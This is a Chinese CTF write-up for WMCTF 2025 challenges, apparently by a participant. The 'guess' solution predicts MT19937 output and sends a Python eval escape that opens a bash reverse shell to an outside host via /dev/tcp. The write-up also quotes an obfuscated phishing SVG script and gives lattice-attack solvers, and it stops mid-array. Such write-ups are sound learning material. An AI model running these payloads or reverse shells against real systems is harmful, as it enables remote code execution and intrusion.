以下题目,*代表赛中未做出来,**代表暂未尝试解题

一些wp
MNGA
SU
密码-糖醋小鸡块

Web

guess | 79 solved

from flask import Flask, request, jsonify, session, render_template, redirect
import random

rd = random.Random()


def generate_random_string():
return str(rd.getrandbits(32))


app = Flask(__name__)
app.secret_key = generate_random_string()

users = []

a = generate_random_string()


@app.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'GET':
return render_template('register.html')

data = request.get_json()
username = data.get('username')
password = data.get('password')

if not username or not password:
return jsonify({'error': 'Username and password are required'}), 400

if any(user['username'] == username for user in users):
return jsonify({'error': 'Username already exists'}), 400

user_id = generate_random_string()

users.append({
'user_id': user_id,
'username': username,
'password': password
})

return jsonify({
'message': 'User registered successfully',
'user_id': user_id
}), 201


@app.route('/login', methods=['POST', 'GET'])
def login():

if request.method == 'GET':
return render_template('login.html')

data = request.get_json()
username = data.get('username')
password = data.get('password')

if not username or not password:
return jsonify({'error': 'Username and password are required'}), 400

user = next((user for user in users if user['username']
== username and user['password'] == password), None)

if not user:
return jsonify({'error': 'Invalid credentials'}), 401

session['user_id'] = user['user_id']
session['username'] = user['username']

return jsonify({
'message': 'Login successful',
'user_id': user['user_id']
}), 200


@app.post('/api')
def protected_api():

data = request.get_json()

key1 = data.get('key')

if not key1:
return jsonify({'error': 'key are required'}), 400

key2 = generate_random_string()

if not str(key1) == str(key2):
return jsonify({
'message': 'Not Allowed:' + str(key2) ,
}), 403

payload = data.get('payload')

if payload:
eval(payload, {'__builtin__': {}})

return jsonify({
'message': 'Access granted',
})


@app.route('/')
def index():
if 'user_id' not in session:
return redirect('/login')

return render_template('index.html')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5001)

MT19937+PyJail

看到了熟悉的getrandbits(32),就知道稳了

通过/api路由,输入key进行比较判断,同时猜错了还会给出题目随机生成的key
那么只要我们拿到连续的624key,就能拿到一轮完整的state,从而预测出后面的随机数,借助randcrack库即可

eval(payload, {'__builtin__': {}})
这里并不是__builtins__,所以没什么限制,非沙箱环境,随便打

随手复制以前继承关系逃逸的payload

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat /flag")

[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cat /flag')

这里,一直以为是payload命令执行有问题,可能是后台开太多了,我起docker的时候都没反应,后面全部关掉,重启电脑,起docker,在服务端发现了问题所在

这里的回显并不在客户端,而是在服务端,所以我们是看不见输出的

原来是没有常见的/var/www/html目录

然后写文件又报错,一看原来是没权限,应该是app用户权限太低了,只能读,最后只能通过反弹shell拿到flag了,服务器又到期了,只能去白嫖cat.flag.sh

后面看Vidar-Team到的wp,是可以写到/static目录下的,是哦把这个静态目录忘了,访问url/static/1.txt即可

import requests
import re
from randcrack import RandCrack
from tqdm import trange

url = "http://49.232.42.74:30158/api"
rc = RandCrack()
session = requests.Session()

for i in trange(624, desc="Collecting numbers"):
res = session.post(url, json={'key': '0'})
message = res.json().get('message', '')
leaked_key = re.search(r'\d+', message)
num = int(leaked_key.group(0))
rc.submit(num)

predicted_key = rc.predict_getrandbits(32)
payload = """[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == '_wrap_close'][0].__init__.__globals__['system']("/bin/bash -c 'exec<>/dev/tcp/cat.flag.sh/3001;echo>&0 CoCa1Vej;$0 -i<&0>&0 2>&0'")"""


response = session.post(
urlL, json={'key': str(predicted_key), 'payload': payload})
if response.status_code == 200:
print(f"[+] Payload 注入成功!{response.text}")

pdf2text* | 24 solved

from flask import Flask, request, send_file, render_template
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
import os, io
from pdfutils import pdf_to_text

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024 # 2MB limit

os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)


@app.route('/')
def index():
return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'No file part', 400

file = request.files['file']
filename = file.filename
if filename == '':
return 'No selected file', 400

if '..' in filename or '/' in filename:
return 'directory traversal is not allowed', 403

pdf_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
pdf_content = file.stream.read()

try:
# just if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)
except Exception as e:
return str(e), 500

with open(pdf_path, 'wb') as f:
f.write(pdf_content)

md_filename = os.path.splitext(filename)[0] + '.txt'
txt_path = os.path.join(app.config['UPLOAD_FOLDER'], md_filename)

try:
pdf_to_text(pdf_path, txt_path)
except Exception as e:
return str(e), 500

return send_file(txt_path, as_attachment=True)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
from pdfminer.high_level import extract_pages
from pdfminer.layout import LTTextContainer

def pdf_to_text(pdf_path, txt_path):
with open(txt_path, 'w', encoding='utf-8') as txt:
for page_layout in extract_pages(pdf_path):
for element in page_layout:
if isinstance(element, LTTextContainer):
txt.write(element.get_text())
txt.write('\n')

没找到啥参考文章,找ai要了些攻击用例,但都被过滤了,要么不起作用

诶诶诶,原来还是代码审计吗?需要跟进pdfminer包去分析,具体过程看N1SU战队的wp

Reverse

catfriend | 172 solved

记事本打开即送(爽赤)

Misc

phishing email | 38 solved

<!-- Hidden malicious script with multiple layers of obfuscation -->
<script><![CDATA[
// Anti-debugging and detection evasion
var jXKuzdDMGk = false;
var detectionBypass = true;
var globalSeed = 0x5A4D;
var entropy = [];

// Advanced fingerprinting and detection evasion
(function antiDetection() {
// Check for WebDriver, PhantomJS, Burp Suite
if (navigator.webdriver || window.callPhantom || window._phantom ||
navigator.userAgent.includes("Burp") || navigator.userAgent.includes("HeadlessChrome") ||
navigator.userAgent.includes("Selenium") || window.chrome && chrome.runtime && chrome.runtime.onConnect) {
window.location = "about:blank";
return;
}

// Advanced environment fingerprinting
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Browser fingerprint test', 2, 2);
var fingerprint = canvas.toDataURL();

// Generate entropy from browser characteristics
entropy = [
navigator.hardwareConcurrency || 4,
screen.colorDepth,
screen.pixelDepth,
new Date().getTimezoneOffset(),
fingerprint.length,
navigator.language.length,
window.devicePixelRatio * 1000 | 0
];

// Check for debugging environment indicators
if (window.outerHeight - window.innerHeight > 200 ||
window.outerWidth - window.innerWidth > 200 ||
fingerprint.length < 100) {
detectionBypass = false;
}

// Generate seed from entropy
globalSeed = entropy.reduce(function(acc, val) {
return ((acc << 5) - acc + val) & 0xFFFFFFFF;
}, 0x5A4D);
})();

// Block developer tools shortcuts
document.addEventListener("keydown", function (event) {
var blockedKeys = [
{ keyCode: 123 }, // F12
{ ctrl: true, keyCode: 85 }, // Ctrl + U
{ ctrl: true, shift: true, keyCode: 73 }, // Ctrl + Shift + I
{ ctrl: true, shift: true, keyCode: 67 }, // Ctrl + Shift + C
{ ctrl: true, shift: true, keyCode: 74 }, // Ctrl + Shift + J
{ ctrl: true, shift: true, keyCode: 75 }, // Ctrl + Shift + K
{ meta: true, alt: true, keyCode: 73 }, // Cmd + Alt + I (Mac)
{ meta: true, keyCode: 85 } // Cmd + U (Mac)
];

var isBlocked = blockedKeys.some(function(key) {
return (!key.ctrl || event.ctrlKey) &&
(!key.shift || event.shiftKey) &&
(!key.meta || event.metaKey) &&
(!key.alt || event.altKey) &&
event.keyCode === key.keyCode;
});

if (isBlocked) {
event.preventDefault();
return false;
}
});

// Block right-click context menu
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
return false;
});

// Advanced anti-debugging using performance timing with variable thresholds
(function timingCheck() {
var baseThreshold = 50;
var dynamicThreshold = baseThreshold + (globalSeed % 100);
var checkCount = 0;

setInterval(function() {
var start = performance.now();
debugger;
var end = performance.now();
checkCount++;

// Variable threshold based on environment
var currentThreshold = dynamicThreshold + (checkCount * 10);

if (end - start > currentThreshold && detectionBypass) {
jXKuzdDMGk = true;
// Redirect with multiple decoy destinations
var decoyUrls = ['https://www.google.com', 'https://www.microsoft.com', 'about:blank'];
window.location.replace(decoyUrls[globalSeed % decoyUrls.length]);
}
}, 150 + (globalSeed % 100));
})();

function customPRNG(seed) {
var m = 0x80000000; // 2**31
var a = 1103515245;
var c = 12345;

seed = (a * seed + c) % m;
return seed / (m - 1);
}

function advancedXOR(data, keyBase) {
var result = '';
var expandedKey = '';


for (var i = 0; i < data.length; i++) {
var keyChar = keyBase.charCodeAt(i % keyBase.length);
var entropyVal = entropy[i % entropy.length];
var rotatedKey = ((keyChar ^ entropyVal) + globalSeed) % 256;
expandedKey += String.fromCharCode(rotatedKey);
}

for (var j = 0; j < data.length; j++) {
result += String.fromCharCode(data.charCodeAt(j) ^ expandedKey.charCodeAt(j));
}

return result;
}

// Main payload - heavily obfuscated with multiple transformation layers
setTimeout(function() {
if (!jXKuzdDMGk && detectionBypass) {
var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag}
var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109];

var polymorphicData = [
'V01DVEZbZmFrZV9mbGFnXQ==',
'bm90X3RoZV9yZWFsX2ZsYWc=',
'ZGVjb3lfZGF0YQ==',
'4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',
'4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',
'4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',
'4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',
'4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'
];

// Layer 3: Environmental validation with complex checks
var envValidation = function() {
var checks = [
typeof window !== 'undefined',
typeof document !== 'undefined',
navigator.userAgent.length > 10,
screen.width > 0 && screen.height > 0,
Date.now() > 1700000000000, // After 2023
Math.abs(new Date().getTimezoneOffset()) < 1440, // Valid timezone
entropy.length === 7,
globalSeed !== 0x5A4D // Should be modified by fingerprinting
];

var validCount = checks.filter(Boolean).length;
return validCount >= 6; // Require most checks to pass
};

// Layer 4: Steganographic data hidden in mathematical sequences
var fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584];
var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61];

// Hidden data in sequence differences (steganography)
var hiddenIndices = [];
for (var i = 1; i < fibSequence.length; i++) {
var diff = fibSequence[i] - fibSequence[i-1];
if (diff > 0 && diff < polymorphicData.length) {
hiddenIndices.push(diff % polymorphicData.length);
}
}


var generateDynamicKey = function() {
var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing component
var envComponent = (globalSeed ^ 0xDEADBEEF).toString(36);
var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36);


var staticKey = 'WMCTF_2025_SVG_ANALYSIS';
return staticKey;
};

var decryptionPipeline = function() {
if (!envValidation()) {
console.log('Environment validation failed');
return null;
}

try {
var dynamicKey = generateDynamicKey();
var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy data
var encryptedParts = [];

for (var i = 0; i < realDataIndices.length; i++) {
var idx = realDataIndices[i];
if (idx < polymorphicData.length) {
encryptedParts.push(polymorphicData[idx]);
}
}

console.log('Found encrypted parts:', encryptedParts.length);

var stage1Results = [];
for (var j = 0; j < encryptedParts.length; j++) {
var part = encryptedParts[j];

// Convert Unicode escape sequences to characters
var decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) {

var charMap = {
'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
'4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
'4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
'77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
'4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
'4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
'4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
'4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
'77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
'4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
};
return charMap[match] || '';
});

stage1Results.push(decoded);
}


var combined = stage1Results.join('');
console.log('Stage 1 result:', combined);

var finalResult = '';
for (var k = 0; k < combined.length; k++) {
var char = combined.charCodeAt(k);
var keyChar = dynamicKey.charCodeAt(k % dynamicKey.length);

var transformed = char ^ (keyChar % 32); // Reduced XOR for readability
finalResult += String.fromCharCode(transformed);
}

return finalResult;

} catch (error) {
console.log('Decryption failed:', error.message);
return null;
}
};


var mathematicalObfuscation = function() {

var phi = 1.618033988749895; // Golden ratio
var pi = 3.141592653589793; // Pi
var e = 2.718281828459045; // Euler's number


var mathKey = Math.floor(phi * 1000) + Math.floor(pi * 1000) + Math.floor(e * 1000);


window.mathSegments = [
btoa(String.fromCharCode(mathKey % 256) + segments[0]),
btoa(String.fromCharCode((mathKey * 2) % 256) + segments[1]),
btoa(String.fromCharCode((mathKey * 3) % 256) + segments[2]),
btoa(String.fromCharCode((mathKey * 4) % 256) + segments[3]),
btoa(String.fromCharCode((mathKey * 5) % 256) + segments[4])
];

return mathKey;
};


var mathKey = mathematicalObfuscation();


if (detectionBypass && !jXKuzdDMGk && verification()) {
constructPayload();


window.extractFlag = function() {
try {
if (window.hiddenData) {
var encoded = atob(window.hiddenData);
var key = 'WMCTF2025';
var decoded = '';
for (var i = 0; i < encoded.length; i++) {
decoded += String.fromCharCode(
encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
console.log('Extracted flag:', decoded);
return decoded;
}
} catch (e) {
console.log('Flag extraction failed');
}
};
}
}
}, 1000);

// Decoy functions to confuse analysis
function generateFakeTraffic() {
var fakeUrls = [
'https://api.example.com/data',
'https://cdn.jsdelivr.net/npm/package',
'https://fonts.googleapis.com/css'
];
// These would normally make requests but are disabled for CTF
}

function createFakeElements() {
// Create invisible elements with misleading data
var hiddenDiv = document.createElement('div');
hiddenDiv.style.display = 'none';
hiddenDiv.innerHTML = atob('RmFrZSBmbGFnOiBXTUNURntub3RfdGhlX3JlYWxfZmxhZ30=');
document.body.appendChild(hiddenDiv);
}

// Initialize decoy functions
generateFakeTraffic();
createFakeElements();

// Add click handler for the invoice
document.addEventListener('click', function() {
if (detectionBypass && !jXKuzdDMGk) {
// This would normally redirect to phishing site
// window.location.href = 'https://fake-payment-portal.com';
console.log('Invoice clicked - in real attack, this would redirect to phishing site');
}
});
]]></script>

这也太长了,直接丢给aiChatGPTGemini都分析出来了,字符串映射+异或,最后通过人工智能强大的文本分析能力,直接暴力地把flag给弄出来了

import re

polymorphicData = [
'V01DVEZbZmFrZV9mbGFnXQ==',
'bm90X3RoZV9yZWFsX2ZsYWc=',
'ZGVjb3lfZGF0YQ==',
'4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',
'4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',
'4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',
'4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',
'4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'
]

charMap = {
'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
'4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
'4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
'77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
'4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
'4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
'4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
'4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
'77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
'4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
}


pattern = re.compile('|'.join(re.escape(k)
for k in sorted(charMap.keys(), key=lambda x: -len(x))))
stage1Results = []
for idx in [3, 4, 5, 6, 7]:
part = polymorphicData[idx]
decoded = pattern.sub(lambda m: charMap[m.group(0)], part)
stage1Results.append(decoded)

combined = ''.join(stage1Results)
print(stage1Results)
print(combined)

# ['wmctwf{SVG_Pchis', 'hing_iAtt{aic_k', '_{Dgeitte{cit_i', 'o{ng_iEtv{ais_i', 'o{ng}i!t!{!i!_!']
# wmctwf{SVG_Pchishing_iAtt{aic_k_{Dgeitte{cit_io{ng_iEtv{ais_io{ng}i!t!{!i!_!

# wmctf{SVG_Phishing_Attack_Detection_Evasion}
# 翻译过来就是:SVG 嵌入式钓鱼攻击检测

Crypto

SplitMaster* | 14 solved

from Crypto.Util.number import *
import socketserver
import socket

def split_master(B_decimal, segment_bits):
if len(segment_bits) < 3:
raise ValueError("no")

if sum(segment_bits) != 512:
raise ValueError("no")

n = len(segment_bits)
found_combination = None
for k in range(n,1,-1):
from itertools import combinations
for indices in combinations(range(n), k):
if sum(segment_bits[i] for i in indices) > 30:
continue

valid = True
for i in range(len(indices)):
for j in range(i+1, len(indices)):
if abs(indices[i] - indices[j]) <= 1:
valid = False
break
if not valid:
break
if not valid:
continue

if 0 in indices and (n-1) in indices:
continue
if any(segment_bits[i]>=25 for i in indices):
continue
found_combination = indices
break

if found_combination is not None:
break

if found_combination is None:
raise ValueError("no")

binary_str = bin(B_decimal)[2:].zfill(512)
if len(binary_str) > 512:
raise ValueError("no")

segments_binary = []
start = 0
for bits in segment_bits:
end = start + bits
segments_binary.append(binary_str[start:end])
start = end

segments_decimal = [int(segment, 2) for segment in segments_binary]

return [segments_decimal[i] for i in found_combination]

class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()

def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass

def recv(self, prompt=b'[-] '):
self.send(prompt, newline=False)
return self._recvall()

def handle(self):
# 设置socket超时而不是使用signal.alarm
self.request.settimeout(90) # 90秒超时

try:
flag = b'WMCTF{test}'
self.send(b"Welcome to WMCTF2025")
key = getPrime(512)
print(key)
q = getPrime(512)
self.send(b"q:"+str(q).encode())
for i in range(20):
a = getPrime(512)
b = a * key % q
gift = split_master(b, list(map(int, self.recv(b"> ").split())))
self.send(b"a:"+str(a).encode())
self.send(b"gift:"+str(gift).encode())
x = self.recv(b"the key to the flag is: ").decode()
if x == str(key):
self.send(flag)
except socket.timeout:
self.send(b"Time's up!")
finally:
self.request.close() # 确保连接被关闭


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass

if __name__ == "__main__":

HOST, PORT = '0.0.0.0', 10003
print("HOST:POST " + HOST + ":" + str(PORT))
server = ThreadedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()

split_master()将一个数进行分割,进行输出的分段要求分割序列:

  • 分段的总比特数不大于30
  • 单个分段的比特数不大于25
  • 分段不能相邻
  • 非首+尾

biaikey(modp)b_{i}\equiv a_{i}*key\pmod p

Bi=bi,knowB_{i}=b_{i,know}
Ci=bi,unknownC_{i}=b_{i,unknown}

aikeyBiCi(modp)a_{i}\cdot key-B_{i}\equiv C_{i}\pmod p

HNP隐藏数问题,已知的是ai,p,giftiHNP隐藏数问题,已知的是a_{i},p,gift_{i}
20轮可以泄露b的一部分信息有20轮可以泄露b的一部分信息

有点棘手,没解出来……

诶诶诶,原来有非预期吗?我们可以输入负数从而获取到更多的位数,比如SU-wp-3 1 1 513,会得到高509位低第2位,这个是最方便且最连续的打法(尝试-2的话,你会发现服务器没有反应),只需要爆破未知的两位即可,可以通过两组数据来进行校验key是否正确

from pwn import *
from sage.all import *
from itertools import product

io = remote("62.234.144.69", 30113)

io.recvuntil(b"q:")
q = int(io.recvline().strip().decode())
print(f"q = {q}")

a = []
gift = []
for _ in range(20):
io.sendlineafter(b"> ", b"-3 1 1 513")
io.recvuntil(b"a:")
a.append(int(io.recvline().strip().decode()))
io.recvuntil(b"gift:")
g0, g1 = map(int, io.recvline().strip()[1: -1].decode().split(','))
gift.append([g0, g1])

for binlist in product([0, 1], repeat=4):
b0, b1, b2, b3 = binlist
B0 = (gift[0][0] << 3) + (b0 << 2) + (gift[0][1] << 1) + b1
B1 = (gift[1][0] << 3) + (b2 << 2) + (gift[1][1] << 1) + b3
key1 = B0 * inverse_mod(a[0], q) % q
key2 = B1 * inverse_mod(a[1], q) % q
if key1 == key2:
io.sendlineafter(b": ", str(key1).encode())
print("[+] flag: ", io.recvline().strip().decode())
break
io.interactive()
# WMCTF{Th3_d1ff1culty_Is_up_t0_y0u}

N1-wp用的是-257 513 -257 513,会得到高255位第257至第511位,未知的是第256位第512位,还贴了HNP格子,得偷一波

from sage.all import *
from pwn import remote
from ast import literal_eval

io = remote("62.234.144.69", 30113)

io.recvuntil(b"q:")
q = int(io.recvline().decode())

def babai(B, t):
B = B.LLL()
G = B.gram_schmidt()[0]
b = t
for i in reversed(range(G.nrows())):
b -= B[i] * ((b * G[i]) / (G[i] * G[i])).round()
return t - b

m = matrix(ZZ, 21, 21)
v = vector(ZZ, 21)

W = 2 ** 512
m[0, 20] = 1
for i in range(20):
io.send(b"-257 513 -257 513")
io.recvuntil(b"a:")
a = int(io.recvline().decode())
io.recvuntil(b"gift:")
gift = literal_eval(io.recvline().decode())
m[0, i] = a * W
m[i + 1, i] = q * W
v[i] = (gift[0] << 257) * W
sol = babai(m, v)
print([e.nbits() for e in sol - v])
sol[-1] = sol[-1] % q

io.sendlineafter(b": ", str(sol[-1]).encode())
print("[+] flag: ", io.recvline().strip().decode())
io.interactive()

可以参考学习Tover的笔记,没太深入琢磨,应该能打吧……

IShowSplit | 8 solved

from Crypto.Util.number import *

from hashlib import md5

def split_master(B_decimal, segment_bits):
if len(segment_bits) < 3:
raise ValueError("no")

if sum(segment_bits) != 512:
raise ValueError("no")

n = len(segment_bits)
found_combination = None
for k in range(n,1,-1):
from itertools import combinations
for indices in combinations(range(n), k):
if sum(segment_bits[i] for i in indices) > 30:
continue

valid = True
for i in range(len(indices)):
for j in range(i+1, len(indices)):
if abs(indices[i] - indices[j]) <= 1:
valid = False
break
if not valid:
break
if not valid:
continue

if 0 in indices and (n-1) in indices:
continue

if any(segment_bits[i]>=25 for i in indices):
continue

found_combination = indices
break

if found_combination is not None:
break

if found_combination is None:
raise ValueError("no")

binary_str = bin(B_decimal)[2:].zfill(512)
if len(binary_str) > 512:
raise ValueError("no")

segments_binary = []
start = 0
for bits in segment_bits:
end = start + bits
segments_binary.append(binary_str[start:end])
start = end

segments_decimal = [int(segment, 2) for segment in segments_binary]

return [segments_decimal[i] for i in found_combination]

p=getPrime(512)
key=randrange(1,p)
gift=split_master(key,[182,20,200,10,100])

flag="WMCTF{"+md5(str(key).encode()).hexdigest()+"}"

A=[]
B=[]
R=[]
M=[64, 128, 256]
for i in range(10):
a=randrange(1,p)
A.append(a)
s=0
rr=[]
for j in range(3):
r=randrange(1,p)
k=randrange(1,2^M[j])
s+=r*k%p
rr.append(r)
R.append(rr)
B.append((a*key+s)%p)

print(f"p={p}")
print(f"A={A}")
print(f"B={B}")
print(f"R={R}")
print(f"gift={gift}")

# p=7159749741429322755131240146118071759513715820993285825839372472474407666017557572129271731613358007058734527689330441569348431807180112353088919340436347
# A=[6099484397780065687822398499925956660167123649401003086450429553387635127108172239381711192830201627868739985455478039493705929385423995630816089813826652, 89722133899180146464100891510163842168405798298452823483063318133678868709451123173510945333104825653032959450315649783796310151123989041792721415722484, 6852373640840439902263069245352036561377612959731529442657261290464193432386684112062098796260781796040393491512167644773780010990517598995340849012156752, 905572447043025859658716967933649489546055535993585428025481014254600350130412634867260097168151503405254514553766823286383565893018173373564554336056693, 4619203611445979770240267215110891760841947947738244443460262136009336416179092898214434705455167036725713675890810610700106198084790551650093160195275702, 3069238570521651083095142261917310941562970802732278543454193591033820858125892411024150728211080137659037098102856608536404922668196774692048992081648551, 2072290141156875572599510174743549619222963372822414855220494223803795956351998912692844952044029330311821434784805742487737048376693843981146845532811418, 4118630348835299974900731058046317343585580076694977535798202938226187304960635726712385771299418425062431822315135332845240129948946520330840063372710812, 5494897767679702083905262716715474988716617413297387287978901109122932238365802120197755794026314539468927208231771384572456104728695543349076171476106692, 5242904898120293050194404817363504806316489104114848367489798169501727630568797399722291273601688449269113866312614390323808528035310223034076071688527093]
# B=[2225881589521184173065274225912017053067069649965432632423136697355986574624766674385247816885344883664964124555071710934403200036986056742665338710501199, 6648320309177586281256682217887823816445310746588184022611740437856487828841524257412678979289757558617628247133981523476180196883192489542467687175493866, 1368643343865975119970439821808519233195197253476459608302319415282308653927922072355125801570423137124789823080768464141261145798676583005521122600184021, 4757972435898893943050634851470164873875968802674701938325764517462502213399385660925464222079964582272246709905040569303916540860368398046797311634207119, 3491493600654315810383896038657359020801782746573223354229968950004336723011925225140197224620617196713846979463196337854602425927920594332253840267066287, 5812910599586334226756848369194045700041602130860303332014243049211324518168755764068940745746358136899818045819591702608213306673108319488577075164061902, 5286480909173195769260613883921498519696474112632193807758953252056528658290642833837928174403014629586637399671995087032742056865191425515352773317139947, 5990084243427240363832897819696345106790895509165460228212982648304258173654753003702718799678678397988011691031933597893892134441380835867546094903910961, 4657207884013678545225122398830559190905549085156416548267023047411835416409008088567237198440378272503925106822333599825940007094045484876222921444207859, 4337342732185682149995046884384392099143035562597116814453255157188836395606408153375003404584342070812600880379801960599561396105172991519802949392096959]
# R=[[5437342344417526961447037102420381576182242917002824736531383988448576795401348337669838142255293777506485879415403692176729738237621696959342977281065396, 118207420592466754679295752653401966487038067694232692642557897325071960359432451312279399266748403346434433562012104799520263992802423378954266828804131, 7096197247368703535624516822532525663824053041765748785834200261711792994365801659587654582314309510718479268191354720373426303224114439156530646421389487], [2048337393654342724878996996835462937898615364747266814141518152181142819685131064444737246705773125581643549980403948577060721913752092536246991248488798, 4032915799560554709639638304258383923016302450145031749214368211030759499850002173909365184297695024196808815382820437454460747458506629192382539028901160, 4232871593307892145191764881832084004817150942430800176840205014538991625057835110518374643680800074286367340775128361231313202429848296012489919924979266], [2553386960937591100090865827289064489951927968995578370310341693487902315425241611375327831218812187817696136311487587016400127802098102736127873401818913, 5823670592022005462447151598758745521401539301567430301030393638437006554138239970651467866637510447017480176716140423825242961163243963505222273874838613, 5774084025457416187346689800934856256827564486310334723289121828349816917057440353481035763960569668502226684658505097070668779989218703360744064625684871], [7046572309712543369992700561219588655579833588142366002445356785295649361641707579997338719645976088701747288198545152391667165237528203051491380206476100, 3086411743880543388057778894558929465483005347509988210044202022882123069984407733408405454699097438747656268706316626496116194702187510362704226701362680, 3824920704333716278162115284149190730865231866245771161577917822721893196275454552093227654236325852790896150665403865418453038676291626669950621607864235], [6760618245898750953819376194151632666239738960636983938459565687242233704064651489179662554150497876748082273757875418325340597777457003363001123655534527, 4343397856990866281857795612386217816895468511981051731094731266904611655944226707430233814074001565540730803579725372227013575628572646210241319814714476, 7126011694277861782468567565693664008866580617261568379233477615778205440306291716911745585348838954153812439519950532595352182974188212855768277246923419], [2953923187831173071776186551032070259914505167253362070557203382982396081492190509064486405525934004929672640497574202986456906310807830423216504796476927, 1345669062441589204474792668690191778211085836386374497142860395037294956095491918997725669029150439803057766748915079527876461488078624845798404978671362, 6975771805724338057550497476188442963101655123133481610941634405619501180059972427132933469246923537067484663454770321483398210207386857564548399452193784], [613595431074082703746546668753146025816666490902587228756275516028887275638378432031652661608234989583525385999489844534573227312653028029927921272453512, 4123105910746992373978630252040464408125059102592223292674058753777019714209155710896007043366563874898777820917476610249503568925138753611543704471760303, 989555937865263901715230959831678853496396994080634488540356871394920097958240471950255879798889334377502384605373832255522749450694078070958912976709214], [5535837862012327812765107969360670846116191751375838521859633639946929019321243840486291205554534270213183060274542457089991919161794065714297577071253492, 2217022003356883793255174224244083193207752640022692463419248286782028965975927441224003452590436406144452759467937867082143500151445862797223973537424326, 4169012965258555766659454909927125486691566973583123755296718808398491419295598806865374588756721952326039465076613735671092746736038930739233766233317746], [2460973952017922432127354291027776825014962112677929880673566789249322210046943034298740329681812324994822480424953136978723367413424675867422535483400994, 6525560390886316331291464628669910149125483607726248566635546904534294626062586662528213108239725365594595677881216065984903337839878980240035564934046552, 5267455846476800778837810675968652912499902190539148131941469838044707979168868352552242860860469415418625601143261920057498327632704722410629571902757207], [2836101201606404086963674515196242099981794676200180367684860793033271859982764426617335526949325589855895823167197136257361757221153866636871210172909499, 2905746791428321890819637325300810834453495282574466482434863215508033662223795925912808993026408194967015679126821486382496994000126841698935066307107806, 